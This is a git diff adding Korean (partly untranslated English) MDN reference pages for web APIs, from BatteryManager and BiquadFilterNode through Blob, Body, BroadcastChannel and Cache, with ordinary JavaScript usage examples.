+ + diff --git a/files/ko/web/api/batterymanager/index.html b/files/ko/web/api/batterymanager/index.html new file mode 100644 index 0000000000..13ca755062 --- /dev/null +++ b/files/ko/web/api/batterymanager/index.html @@ -0,0 +1,74 @@ +--- +title: BatteryManager +slug: Web/API/BatteryManager +translation_of: Web/API/BatteryManager +--- +

{{ApiRef()}}

+ +

BatteryManager 인터페이스는 시스템의 배터리 충전 상태에 대한 정보를 확인 하는 방법을 제공합니다.

+ +

{{domxref("window.navigator.battery","navigator.battery")}} 프로퍼티는 Battery Status API와 상호작용 할 수 있는 BatteryManager 인터페이스의 인스턴스를 반환합니다.

+ +

프로퍼티

+ +
+
{{domxref("BatteryManager.charging")}} {{ReadOnlyInline}}
+
배터리가 현재 충전 중인지 여부를 Boolean 값으로 나타냅니다.
+
{{domxref("BatteryManager.chargingTime")}} {{ReadOnlyInline}}
+
배터리가 완전히 충전되기 까지 남은 시간을 초로 표현합니다. 0 이면 이미 배터리의 충전이 완료 된 상황 입니다.
+
{{domxref("BatteryManager.dischargingTime")}} {{ReadOnlyInline}}
+
배터리가 완전히 방전되고 시스템이 중지 될 때까지의 남은 시간을 초로 표현 합니다.
+
{{domxref("BatteryManager.level")}} {{ReadOnlyInline}}
+
배터리의 충전 상태를 0.0 에서 1.0 사이의 값으로 표현 합니다.
+
+ +

이벤트 핸들러

+ +
+
{{domxref("BatteryManager.onchargingchange")}}
+
{{event("chargingchange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 충전 상태가 변경될 때 발생합니다.
+
{{domxref("BatteryManager.onchargingtimechange")}}
+
{{event("chargingtimechange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 충전 시간이 변경될 때 발생합니다.
+
{{domxref("BatteryManager.ondischargingtimechange")}}
+
{{event("dischargingtimechange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 방전 시간이 변경될 때 발생합니다.
+
{{domxref("BatteryManager.onlevelchange")}}
+
{{event("levelchange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 수준 상태가 변경 될 때 발생합니다.
+
+ +

메소드

+ +

Inherited from {{domxref("EventTarget")}}:

+ +

{{domxref("EventTarget")}} 으로 부터 상속을 받습니다:

+ +

{{page("/en-US/docs/Web/API/EventTarget","Methods")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Battery API')}}{{Spec2('Battery API')}}초기 명세
+ +

브라우저 호환성

+ +

{{Compat("api.BatteryManager")}}

+ +

참고

+ + diff --git a/files/ko/web/api/biquadfilternode/index.html b/files/ko/web/api/biquadfilternode/index.html new file mode 100644 index 0000000000..55cd1dfa4d --- /dev/null +++ b/files/ko/web/api/biquadfilternode/index.html @@ -0,0 +1,249 @@ +--- +title: BiquadFilterNode +slug: Web/API/BiquadFilterNode +translation_of: Web/API/BiquadFilterNode +--- +

{{APIRef("Web Audio API")}}

+ +
+

The BiquadFilterNode interface represents a simple low-order filter, and is created using the {{ domxref("AudioContext.createBiquadFilter()") }} method. It is an {{domxref("AudioNode")}} that can represent different kinds of filters, tone control devices, and graphic equalizers. A BiquadFilterNode always has exactly one input and one output.

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs1
Channel count mode"max"
Channel count2 (not used in the default count mode)
Channel interpretation"speakers"
+ +

Constructor

+ +
+
{{domxref("BiquadFilterNode.BiquadFilterNode", "BiquadFilterNode()")}}
+
Creates a new instance of an BiquadFilterNode object.
+
+ +

Properties

+ +

Inherits properties from its parent, {{domxref("AudioNode")}}.

+ +
+
{{domxref("BiquadFilterNode.frequency")}}
+
Is an a-rate {{domxref("AudioParam")}}, a double representing a frequency in the current filtering algorithm measured in hertz (Hz).
+
{{domxref("BiquadFilterNode.detune")}}
+
Is an a-rate {{domxref("AudioParam")}} representing detuning of the frequency in cents.
+
{{domxref("BiquadFilterNode.Q")}}
+
Is an a-rate {{domxref("AudioParam")}}, a double representing a Q factor, or quality factor.
+
{{domxref("BiquadFilterNode.gain")}} {{readonlyInline}}
+
Is an a-rate {{domxref("AudioParam")}}, a double representing the gain used in the current filtering algorithm.
+
{{domxref("BiquadFilterNode.type")}}
+
Is a string value defining the kind of filtering algorithm the node is implementing.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
The meaning of the different parameters depending of the type of the filter (detune has the same meaning regardless, so isn't listed below)
typeDescriptionfrequencyQgain
lowpass12dB/octave의 롤오프를 가진 표준 2차 공진 로우패스 필터입니다. 컷오프 이하의 주파수는 통과하며 그 이상의 주파수는 감쇠합니다.컷오프 주파수컷오프 부근에서 주파수의 피크가 얼마나 큰지 나타냅니다. 값이 클수록 피크가 커집니다.Not used
highpass12dB/octave의 롤오프를 가진 표준 2차 공진 하이패스 필터입니다. 컷오프 이하의 주파수는 감쇠하며 그 이상의 주파수는 통과합니다.컷오프 주파수컷오프 부근에서 주파수의 피크가 얼마나 큰지 나타냅니다. 값이 클수록 피크가 커집니다.Not used
bandpass표준 2차 밴드패스 필터입니다. 주어진 주파수 대역 바깥의 주파수는 감쇠되며, 이내의 주파수는 통과합니다.주파수 대역의 중앙주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.Not used
lowshelf표준 2차 로우쉘프 필터입니다. 기준 주파수보다 낮은 주파수는 증폭되거나 감쇠됩니다. 그 이상의 주파수는 변하지 않습니다.증폭이나 감쇠를 얻는 주파수의 상한값Not used적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.
highshelf표준 2차 하이쉘프 필터입니다. 기준 주파수보다 큰 주파수는 증폭되거나 감쇠됩니다. 그 이하의 주파수는 변하지 않습니다.증폭이나 감쇠를 얻는 주파수의 하한값Not used적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.
peaking대역 내의 주파수는 증폭되거나 감쇠됩니다. 바깥의 주파수는 변하지 않습니다.증폭이나 감쇠를 얻는 주파수 대역의 중앙주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.
notch밴드 스톱, 혹은 밴드 리젝션으로 불리는 표준 notch 필터입니다. 이는 밴드패스 필터와 반대입니다. 주어진 대역폭 바깥의 주파수는 통과하며, 안쪽의 주파수는 감쇠합니다.주파수 대역의 중앙주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.Not used
allpass표준 2차 allpass 필터입니다. 이는 모든 주파수를 통과시키지만, 가변 주파수 사이의 위상 관계를 변화시킵니다.최대 group delay를 갖는 주파수, 즉 위상 전이 발생의 중심에 있는 주파수입니다.중간 주파수에서 전환이 얼마나 선명한가를 제어합니다. 이 매개 변수가 클수록 더 선명하고 크게 전환됩니다.Not used
+
+
+ +

Methods

+ +

{{domxref("AudioNode")}} 로부터 메서드를 상속받습니다.

+ +
+
{{domxref("BiquadFilterNode.getFrequencyResponse()")}}
+
이 메서드는 현재 필터 파라미터 설정으로부터 제공된 주파수 배열에 지정된 주파수에 대한 주파수 응답을 계산합니다
+
+ +

Example

+ +

{{page("/en-US/docs/Web/API/AudioContext.createBiquadFilter","Example")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-biquadfilternode-interface', 'BiquadFilterNode')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}{{CompatOpera(15)}}{{property_prefix("webkit")}}
+ {{CompatOpera(22)}} (unprefixed)
6.0{{property_prefix("webkit")}}
constructor{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(42)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatChrome(50.0)}}
constructor{{CompatNo}}{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(42)}}{{CompatUnknown}}{{CompatChrome(55.0)}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/blob/blob/index.html b/files/ko/web/api/blob/blob/index.html new file mode 100644 index 0000000000..9a82b69399 --- /dev/null +++ b/files/ko/web/api/blob/blob/index.html @@ -0,0 +1,59 @@ +--- +title: Blob() +slug: Web/API/Blob/Blob +tags: + - API + - Blob + - Constructor + - File API + - Reference +translation_of: Web/API/Blob/Blob +--- +
{{APIRef("File API")}}
+ +

Blob() 생성자는 새로운 {{domxref("Blob")}} 객체를 반환합니다. 해당 블롭의 콘텐츠는 매개변수로 제공한 배열을 이어붙인 값입니다.

+ +

Syntax

+ +
var aBlob = new Blob( array[, options]);
+
+ +

매개변수

+ + + +

예제

+ +
var aFileParts = ['<a id="a"><b id="b">hey!</b></a>']; // an array consisting of a single DOMString
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'}); // the blob
+ +

명세서

+ + + + + + + + + + + + + + +
명세서상태비고
{{SpecName('File API', '#constructorBlob', 'Blob()')}}{{Spec2('File API')}}기초정의(Initial definition)
+ +

브라우저 호환성

+ + + +

{{Compat("api.Blob.Blob")}}

diff --git a/files/ko/web/api/blob/index.html b/files/ko/web/api/blob/index.html new file mode 100644 index 0000000000..09afa4aa31 --- /dev/null +++ b/files/ko/web/api/blob/index.html @@ -0,0 +1,151 @@ +--- +title: Blob +slug: Web/API/Blob +tags: + - API + - Blob + - File + - File API + - Interface + - Reference + - 파일 +translation_of: Web/API/Blob +--- +
{{APIRef("File API")}}
+ +

Blob 객체는 파일류의 불변하는 미가공 데이터를 나타냅니다. 텍스트와 이진 데이터의 형태로 읽을 수 있으며, {{domxref("ReadableStream")}}으로 변환한 후 그 메서드를 사용해 데이터를 처리할 수도 있습니다.

+ +

Blob은 JavaScript 네이티브 형태가 아닌 데이터도 표현할 수 있습니다. {{domxref("File")}} 인터페이스는 사용자 시스템의 파일을 지원하기 위해 Blob 인터페이스를 확장한 것이므로, 모든 블롭 기능을 상속합니다.

+ +

Blob 사용하기

+ +

블롭이 아닌 객체와 데이터에서 Blob을 생성하려면 {{domxref("Blob.Blob", "Blob()")}} 생성자를 사용하세요. 다른 블롭의 일부에서 새로운 블롭을 생성할 땐 {{domxref("Blob.slice", "slice()")}} 메서드를 사용할 수 있습니다. 사용자의 파일 시스템 내 파일을 Blob으로 얻는 방법은 {{domxref("File")}} 문서를 참고하세요.

+ +

Blob 객체를 허용하는 API의 목록은 File 문서에도 있습니다.

+ +
+
+ +

생성자

+ +
+
{{domxref("Blob.Blob", "Blob()")}}
+
매개변수로 제공한 배열의 모든 데이터를 합친 데이터를 담은 새로운 Blob 객체를 반환합니다.
+
+ +

속성

+ +
+
{{domxref("Blob.size")}} {{readonlyinline}}
+
Blob 객체가 담은 데이터의 바이트 단위의 사이즈입니다.
+
{{domxref("Blob.type")}} {{readonlyinline}}
+
Blob 객체가 담은 데이터의 MIME 유형을 나타내는 문자열입니다. 유형을 알 수 없는 경우 빈 문자열을 반환합니다.
+
+ +

메서드

+ +
+
{{DOMxRef("Blob.arrayBuffer()")}}
+
Blob의 전체 내용을 이진 데이터로 담은 {{domxref("ArrayBuffer")}}로 이행하는 {{jsxref("Promise")}}를 반환합니다
+
{{domxref("Blob.slice()")}}
+
메서드를 호출한 블롭의 바이트를 주어진 시작 바이트와 끝 바이트 범위에서 복제해 새로운 Blob 객체를 생성하고 반환합니다.
+
{{domxref("Blob.stream()")}}
+
Blob의 콘텐츠를 읽을 수 있는 {{domxref("ReadableStream")}}을 반환합니다.
+
{{domxref("Blob.text()")}}
+
Blob의 전체 내용을 UTF-8 텍스트로 담은 {{domxref("USVString")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
+ +

예제 

+ +

블롭 생성하기

+ +

{{DOMxRef("Blob.Blob", "Blob()")}} 생성자를 사용해 다른 객체에서 블롭을 생성하세요. 예를 들어, 아래 코드는 문자열에서 블롭을 생성합니다.

+ +
const obj = {hello: 'world'};
+const blob = new Blob([JSON.stringify(obj, null, 2)], {type : 'application/json'});
+ +

형식 배열의 콘텐츠를 나타내는 URL 생성하기

+ +

다음 코드는 JavaScript {{jsxref("TypedArray")}}를 생성한 후, 그 데이터를 담은 Blob 객체도 만듭니다. 그 후, {{domxref("URL.createObjectURL()")}}을 호출해 블롭을 {{glossary("URL")}}로 변환합니다.

+ +

HTML

+ +
<p>This example creates a typed array containing the ASCII codes
+   for the space character through the letter Z, then converts it
+   to an object URL. A link to open that object URL is created.
+   Click the link to see the decoded object URL.</p>
+ +

JavaScript

+ +

이 코드의 주제는 typedArrayToURL() 함수로, 주어진 TypedArray에서 Blob을 생성하고, 블롭의 객체 URL을 반환합니다. 데이터를 객체 URL로 변환한 후에는 {{HTMLElement("img")}} 요소의 {{htmlattrxref("src", "img")}} 특성에 지정하는 등 다양하게 사용할 수 있습니다. (물론 해당 객체가 이미지여야 합니다)

+ +
function typedArrayToURL(typedArray, mimeType) {
+  return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
+}
+
+const bytes = new Uint8Array(59);
+
+for(let i = 0; i < 59; i++) {
+  bytes[i] = 32 + i;
+}
+
+const url = typedArrayToURL(bytes, 'text/plain');
+
+const link = document.createElement('a');
+link.href = url;
+link.innerText = 'Open the array URL';
+
+document.body.appendChild(link);
+ +

결과

+ +

{{EmbedLiveSample("형식_배열의_콘텐츠를_나타내는_URL_생성하기", 600, 200)}}

+ +

블롭에서 데이터 추출하기

+ +

블롭에서 데이터를 읽는 방법 하나는 {{domxref("FileReader")}}를 사용하는 것입니다. 다음 코드는 Blob의 콘텐츠를 형식 배열로서 읽어 들입니다.

+ +
const reader = new FileReader();
+reader.addEventListener('loadend', () => {
+   // reader.result contains the contents of blob as a typed array
+});
+reader.readAsArrayBuffer(blob);
+ +

또 다른 방법은 블롭을 {{domxref("Response")}}로 사용하는 것입니다. 다음 코드는 Blob의 내용을 텍스트로 읽어옵니다.

+ +
var text = await (new Response(blob)).text();
+ +

FileReader의 다른 메서드를 사용하면 블롭의 데이터를 문자열이나 데이터 URL로도 읽어올 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName('File API', '#blob-section', 'The Blob interface')}}{{Spec2('File API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Blob")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/body/index.html b/files/ko/web/api/body/index.html new file mode 100644 index 0000000000..6e5cc42061 --- /dev/null +++ b/files/ko/web/api/body/index.html @@ -0,0 +1,97 @@ +--- +title: Body +slug: Web/API/Body +tags: + - API + - BODY + - Experimental + - Fetch + - Fetch API + - Interface + - Reference + - request +translation_of: Web/API/Body +--- +
{{ APIRef("Fetch") }}
+ +

The Body {{glossary("mixin")}} of the Fetch API represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.

+ +

Body is implemented by both {{domxref("Request")}} and {{domxref("Response")}}. This provides these objects with an associated body (a stream), a used flag (initially unset), and a MIME type (initially the empty byte sequence).

+ +

Properties

+ +
+
{{domxref("Body.body")}} {{readonlyInline}}
+
A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.
+
{{domxref("Body.bodyUsed")}} {{readonlyInline}}
+
A {{domxref("Boolean")}} that indicates whether the body has been read.
+
+ +

Methods

+ +
+
{{domxref("Body.arrayBuffer()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.
+
{{domxref("Body.blob()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.
+
{{domxref("Body.formData()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.
+
{{domxref("Body.json()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.
+
{{domxref("Body.text()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text). The response is always decoded using UTF-8.
+
+ +

Examples

+ +

The example below uses a simple fetch call to grab an image and display it in an {{htmlelement("img")}} tag. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob","Body.blob()")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.

+ +

HTML Content

+ +
<img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png">
+
+ +

JS Content

+ +
const myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg')
+	.then(res => res.blob())
+	.then(res => {
+		const objectURL = URL.createObjectURL(res);
+		myImage.src = objectURL;
+});
+ +

{{ EmbedLiveSample('Examples', '100%', '250px') }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#body-mixin','Body')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.Body")}}

+ +

See also

+ + + +

 

diff --git a/files/ko/web/api/body/json/index.html b/files/ko/web/api/body/json/index.html new file mode 100644 index 0000000000..761720f420 --- /dev/null +++ b/files/ko/web/api/body/json/index.html @@ -0,0 +1,73 @@ +--- +title: Body.json() +slug: Web/API/Body/json +translation_of: Web/API/Body/json +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Body")}} mixin의 json() 매서드는 {{domxref("Response")}} 스트림을 가져와 스트림이 완료될때까지 읽는다. 이 메서드는 body 텍스트를 {{jsxref("JSON")}}으로 바꾸는 결과로 해결되는 promise를 반환한다.

+ +

구문

+ +
response.json().then(function(data) {
+  // do something with your data
+});
+ +

매개변수

+ +

없음.

+ +

반환값

+ +

A promise that resolves with the result of parsing the body text as JSON. This could be anything that can be represented by JSON — an object, an array, a string, a number...

+ +

Example

+ +

In our fetch json example (run fetch json live), we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch a .json file. When the fetch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list items to display our product data.

+ +
var myList = document.querySelector('ul');
+
+var myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(function(response) { return response.json(); })
+  .then(function(data) {
+    for (var i = 0; i < data.products.length; i++) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '<strong>' + data.products[i].Name + '</strong> can be found in ' +
+                           data.products[i].Location +
+                           '. Cost: <strong>£' + data.products[i].Price + '</strong>';
+      myList.appendChild(listItem);
+    }
+  });
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-body-json','json()')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.Body.json")}}

+ +

See also

+ + diff --git a/files/ko/web/api/broadcastchannel/index.html b/files/ko/web/api/broadcastchannel/index.html new file mode 100644 index 0000000000..a229e41829 --- /dev/null +++ b/files/ko/web/api/broadcastchannel/index.html @@ -0,0 +1,92 @@ +--- +title: BroadcastChannel +slug: Web/API/BroadcastChannel +tags: + - API + - Broadcast Channel API + - Experimental + - HTML API + - Interface + - Reference +translation_of: Web/API/BroadcastChannel +--- +

{{APIRef("Broadcast Channel API")}}

+ +

The BroadcastChannel interface represents a named channel that any {{glossary("browsing context")}} of a given {{glossary("origin")}} can subscribe to. It allows communication between different documents (in different windows, tabs, frames or iframes) of the same origin. Messages are broadcasted via a {{event("message")}} event fired at all BroadcastChannel objects listening to the channel.

+ +

{{AvailableInWorkers}}

+ +

Constructor

+ +
+
{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}
+
Creates an object linking to the named channel.
+
+ +

Properties

+ +

This interface also inherits properties from its parent, {{domxref("EventTarget")}}.

+ +
+
{{domxref("BroadcastChannel.name")}}
+
Returns a {{domxref("DOMString")}}, the name of the channel.
+
+

Event handlers

+
+
{{domxref("BroadcastChannel.onmessage")}}
+
An {{domxref("EventHandler")}} property that specifies the function to execute when a {{event("message")}} event is fired on this object.
+
{{domxref("BroadcastChannel.onmessageerror")}}
+
An {{domxref("EventHandler")}} called when a {{domxref("MessageEvent")}} of type {{domxref("MessageError")}} is fired—that is, when it receives a message that cannot be deserialized.
+
+ +

Methods

+ +

This interface also inherits methods from its parent, {{domxref("EventTarget")}}.

+ +
+
{{domxref("BroadcastChannel.postMessage()")}}
+
Sends the message, of any type of object, to each BroadcastChannel object listening to the same channel.
+
{{domxref("BroadcastChannel.close()")}}
+
Closes the channel object, indicating it won't get any new messages, and allowing it to be, eventually, garbage collected.
+
+ +

Events

+ +
+
message
+
Fired when when a message arrives on the channel.
+ Also available via the onmessage property.
+
messageerror
+
Fired when a message arrives that can't be deserialized.
+ Also available via the onmessageerror property.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#broadcastchannel", "BroadcastChannel")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.BroadcastChannel")}}

+ +

See also

+ + diff --git a/files/ko/web/api/cache/index.html b/files/ko/web/api/cache/index.html new file mode 100644 index 0000000000..6c829f8d8c --- /dev/null +++ b/files/ko/web/api/cache/index.html @@ -0,0 +1,148 @@ +--- +title: Cache +slug: Web/API/Cache +tags: + - API + - Cache + - Draft + - Experimental + - Interface + - Offline + - Reference + - Service Workers + - Storage +translation_of: Web/API/Cache +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

Cache 인터페이스는 {{domxref ( "ServiceWorker")}} 의 생명주기의 일부로 캐시 된 RequestResponse를 나타냅니다.

+ +

도메인은 여러개의 이름이 지정된 Cache 객체를 가질 수 있으며 그 객체들은 {{domxref("ServiceWorker")}}가 완전히 제어합니다.{{domxref("ServiceWorker")}} 스크립트가 Cache 업데이트를 어떻게 컨트롤 할지에 대해서 구현해야 합니다. 명시적으로 요청하지 않으면 Cache 항목들은 업데이트 되지 않습니다. 삭제되지 않으면 만료되지 않습니다. {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}} 을 사용하여 특정 이름으로 지정 된 Cache 객체를 로드하고 Cache 메서드를 호출하여 캐시를 유지 관리합니다.

+ +

또한 캐시 항목을 정기적으로 삭제해야 합니다. 각각의 브라우저는 {{domxref("ServiceWorker")}}가 사용할 수 있는 캐시 저장소의 양에 대해서 제한을 엄격하게 두고 있습니다. 브라우저는 디스크 공간을 관리하기 위해서 최선을 다하지만 원본에 대한 캐시 저장소를 삭제할 수 있습니다. 브라우저는 일반적으로 원본에 대한 모든 데이터를 삭제하거나 원본에 대한 모든 데이터를 삭제하지 않을 것입니다. 이름지어진 특정 캐시 버전을 확인하고 안전하게 작동할 수 있는 {{domxref("ServiceWorker")}} 버전에서만 캐시를 사용하십시오. 캐시 삭제에 대한 자세한 내용은 Deleting old caches을 참고하세요.

+ +
+

Note: 초기 캐시 구현(Blink 및 Gecko)은 응답이 완전히 기록될 때 {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, 그리고 {{domxref("Cache.put")}} 로 확인 됩니다. 보다 최근 사양 버전에서의 최신언어들은 응답이 여전히 스트리밍이 되는 경우에도 해당 내용이 데이터베이스에 기록되는 즉시 브라우저가 확인할 수 있습니다.

+
+ +
+

Note: {{domxref("Cache.put")}}, {{domxref("Cache.add")}}, 그리고{{domxref("Cache.addAll")}} 은 오직 GET 요청들만 cache로 저장됩니다.

+
+ +
+

Note: 캐시 API는 HTTP 캐시 헤더를 따르지 않습니다.

+
+ +

메서드

+ +
+
{{domxref("Cache.match", "Cache.match(request, options)")}}
+
{{domxref("Cache")}}객체의 첫 번째 일치하는 요청과 관련된 응답으로 확인되는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Cache.matchAll", "Cache.matchAll(request, options)")}}
+
{{domxref("Cache")}} 객체에서 일치하는 모든 요청의 배열로 해석되는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Cache.add", "Cache.add(request)")}}
+
URL을 가져 와서 추출해서 결과 객체를 지정된 캐시에 추가합니다. 이는 fetch()를 호출 한 다음 Cache.put()을 사용하여 캐시에 결과를 추가하는 것과 매우 유사합니다.
+
{{domxref("Cache.addAll", "Cache.addAll(requests)")}}
+
URL 배열을 가져 와서 추출하고 결과 응답 객체를 지정된 캐시에 추가합니다.
+
{{domxref("Cache.put", "Cache.put(request, response)")}}
+
요청과 응답을 모두 가져 와서 지정된 캐시에 추가합니다.
+
{{domxref("Cache.delete", "Cache.delete(request, options)")}}
+
해당 키가 request인 {{domxref("Cache")}}를 찾고 {{domxref("Cache")}}를 삭제하고 true 판정인 {{jsxref("Promise")}}를 리턴합니다. {{domxref("Cache")}} 항목이 없으면 false를 반환합니다.
+
{{domxref("Cache.keys", "Cache.keys(request, options)")}}
+
{{domxref("Cache")}} 키 배열은 결정된 {{jsxref("Promise")}}를 리턴합니다.
+
+ +

예제

+ +

이 코드는 service worker selective caching sample 에서 가져왔습니다. (see selective caching live). 이 코드는{{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}을 사용하여 font/로 시작하는 Content-Type header로 Cache를 엽니다.

+ +

그런 다음 코드는 {{domxref("Cache.match", "Cache.match(request, options)")}}를 사용하여 캐시에 이미 일치하는 글꼴이 있는지 확인한 후 일치하는 글꼴을 반환합니다. 일치하는 글꼴이 없으면 코드는 네트워크에서 글꼴을 가져오고 {{domxref("Cache.put","Cache.put(request, response)")}}을 사용하여 가져온 리소스를 캐시합니다.

+ +

이 코드는 {{domxref("Globalfetch.fetch","fetch()")}} 연산에서 발생한 예외를 처리합니다. HTTP오류 응답(예 : 404)은 예외를 발생시키지 않습니다. 적절한 오류 코드가있는 일반 응답 객체를 리턴합니다.

+ +

또한 코드 스니펫은 {domxref ( "ServiceWorker")}}가 사용하는 캐시 버전 관리를 위한 모범 사례를 보여줍니다. 이 예에서는 캐시가 하나 밖에 없지만 동일한 접근법을 여러 캐시에 사용할 수 있습니다. 캐시의 단축 식별자를 특정 버전의 캐시 이름에 매핑합니다. 또한 이 코드는 CURRENT_CACHES에 이름이 지정되지 않은 모든 캐시를 삭제합니다.

+ +
Note: 크롬에서, chrome://inspect/#service-workers 를 방문하여 "inspect" 를 클릭하여 service-worker.js 스크립트가 수행중인 다양한 작업에 대한 로깅 구문을 확인합니다.
+ +
var CACHE_VERSION = 1;
+
+// Shorthand identifier mapped to specific versioned cache.
+var CURRENT_CACHES = {
+  font: 'font-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('activate', function(event) {
+  var expectedCacheNames = Object.keys(CURRENT_CACHES).map(function(key) {
+    return CURRENT_CACHES[key];
+  });
+
+  // Active worker won't be treated as activated until promise resolves successfully.
+  event.waitUntil(
+    caches.keys().then(function(cacheNames) {
+      return Promise.all(
+        cacheNames.map(function(cacheName) {
+          if (expectedCacheNames.indexOf(cacheName) == -1) {
+            console.log('Deleting out of date cache:', cacheName);
+
+            return caches.delete(cacheName);
+          }
+        })
+      );
+    })
+  );
+});
+
+self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+
+    // Opens Cache objects that start with 'font'.
+    caches.open(CURRENT_CACHES['font']).then(function(cache) {
+      return cache.match(event.request).then(function(response) {
+        if (response) {
+          console.log(' Found response in cache:', response);
+
+          return response;
+        }
+      }).catch(function(error) {
+
+        // Handles exceptions that arise from match() or fetch().
+        console.error('  Error in fetch handler:', error);
+
+        throw error;
+      });
+    })
+  );
+});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Cache")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/cache/put/index.html b/files/ko/web/api/cache/put/index.html new file mode 100644 index 0000000000..9237ee6efe --- /dev/null +++ b/files/ko/web/api/cache/put/index.html @@ -0,0 +1,118 @@ +--- +title: Cache.put() +slug: Web/API/Cache/put +tags: + - API + - Cache + - Experimental + - Method + - Reference + - Service Workers + - ServiceWorker + - put +translation_of: Web/API/Cache/put +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

The put() method of the {{domxref("Cache")}} interface allows key/value pairs to be added to the current {{domxref("Cache")}} object.

+ +

Often, you will just want to {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} one or more requests, then add the result straight to your cache. In such cases you are better off using {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}}, as they are shorthand functions for one or more of these operations.

+ +
fetch(url).then(function(response) {
+  if (!response.ok) {
+    throw new TypeError('Bad response status');
+  }
+  return cache.put(url, response);
+})
+
+
+ +
+

Note: put() will overwrite any key/value pair previously stored in the cache that matches the request.

+
+ +
+

Note: {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} do not cache responses with Response.status values that are not in the 200 range, whereas {{domxref("Cache.put")}} lets you store any request/response pair. As a result, {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} can't be used to store opaque responses, whereas {{domxref("Cache.put")}} can.

+
+ +
+

